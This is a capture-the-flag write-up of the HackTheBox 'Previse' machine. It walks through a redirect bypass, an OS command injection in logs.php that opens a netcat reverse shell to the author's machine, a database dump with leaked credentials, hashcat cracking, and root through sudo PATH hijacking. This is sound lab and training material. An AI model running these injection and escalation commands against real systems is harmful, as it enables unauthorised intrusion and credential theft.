Skip to main content

📦 HTB - Previse

·507 words·3 mins· loading · loading · ·
HTB htb writeup
0xNinja
Author
0xNinja
mov al, 11
Table of Contents

TL;DR
#

Bypass PHP redirect to access restricted page, create low priv web account, get website backup. Audit code and find OS command injection + MySQL creds, get reverse shell and dump database, get password hash and crack it to SSH. Privesc via path injection.

Footholds
#

nmap gives us only ports 22 and 80.

We first get this website:

index

Nothing we can deal with here, no SQL injection :(

login

For more info I used dirsearch to fuzz the web pages, and it found the following:

/accounts.php
/download.php
/files.php
/login.php
/logout.php
/logs.php
/status.php

User
#

All with 302 Found HTTP code, with a redirect towards /login.php. With that much info we want to get the content of those pages. To do so I used BurpSuite and made a filter to replace HTTP/1.1 302 Found with HTTP/1.1 200 which worked like a charm, but using only curl would also work.

We now have access to the previous pages. In order to download a file you must have a valid PHPSESSID, so you want to create your own user on /accounts.php. Log in again with your fresh accounts and you can access to the siteBacku.zip file at /files.php.

In this backup we have multiple files, including a nice config.php containing MySQL credentials; we will use it in a minute. We also have the code for the whole webapp. One file caught my attention:

 1// logs.php
 2[...]
 3
 4/////////////////////////////////////////////////////////////////////////////////////
 5//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
 6/////////////////////////////////////////////////////////////////////////////////////
 7
 8$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
 9echo $output;
10
11[...]

Whatever this means, there is no filter at all for this $_POST['delim'] variable, therefor we can easily inject some command here. As confidant as always I open a netcat listener on my machine, and inject my payload like so:

1curl -X POST previse.htb/logs.php -b 'PHPSESSID=MY_VALID_SESSION' -d 'delim=;nc IP PORT -e /bin/sh'

As expected I got my reverse shell 🎉

Let’s upgrade from this poor virgin netcat to a chad upgrade:

1# on reverse shell
2python -c 'import pty; pty.spawn("/bin/bash")'
3(www-data@previse.htb) /var/www/html/: ^Z # Ctrl-Z to background
4
5# on main host
6~/ctf/htb/previse
7> stty raw -echo; fg
8
9(www-data@previse.htb) /var/www/html/:

We now have a better shell, with history and completion. Time to get user!

With the previous info we can directly dump the database:

1mysql -u root -p 'mySQL_p@ssw0rd!:)' -D previse -e 'select * from accounts;'

Like so we get a password hash for an another user: m4lwhere:$1$🧂llol$DQpmdvnb7EeuO6UaqRItf., we crack it using hashcat because john did not worked:

hash

1hashcat -m 500 user_hash /usr/share/wordlist/rockyou.txt
2# wait for about 15 minutes...
3
4$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!

We can SSH on the box.

Root
#

(m4lwhere@previse.htb): sudo -l

(root) /opt/scripts/access_backups.sh
1# /opt/scripts/access_backup.sh
2
3gzip -c /var/www/apache_logs.gz ...

The path for the access_backup.sh is absolute, but not for gzip in the script. We can then create our own gzip executable which will run with root rights:

1# /tmp/gzip
2#!/bin/sh
3cat /root/root.txt > /tmp/root

We change our path with export PATH="/tmp/:$PATH" and execute the script with sudo:

cd /tmp; sudo /opt/scripts/access_logs.sh

Rooted

Related

📦 HTB - Schooled
·714 words·4 mins· loading · loading
HTB htb writeup
📦 HTB - Explore
·268 words·2 mins· loading · loading
HTB htb writeup
📦 HTB - Cap
·519 words·3 mins· loading · loading
HTB htb writeup
📦 HTB - Ready
·435 words·3 mins· loading · loading
HTB htb writeup
📦 HTB - Magic
·543 words·3 mins· loading · loading
HTB htb writeup
📦 HTB - Obscurity
·1004 words·5 mins· loading · loading
HTB htb writeup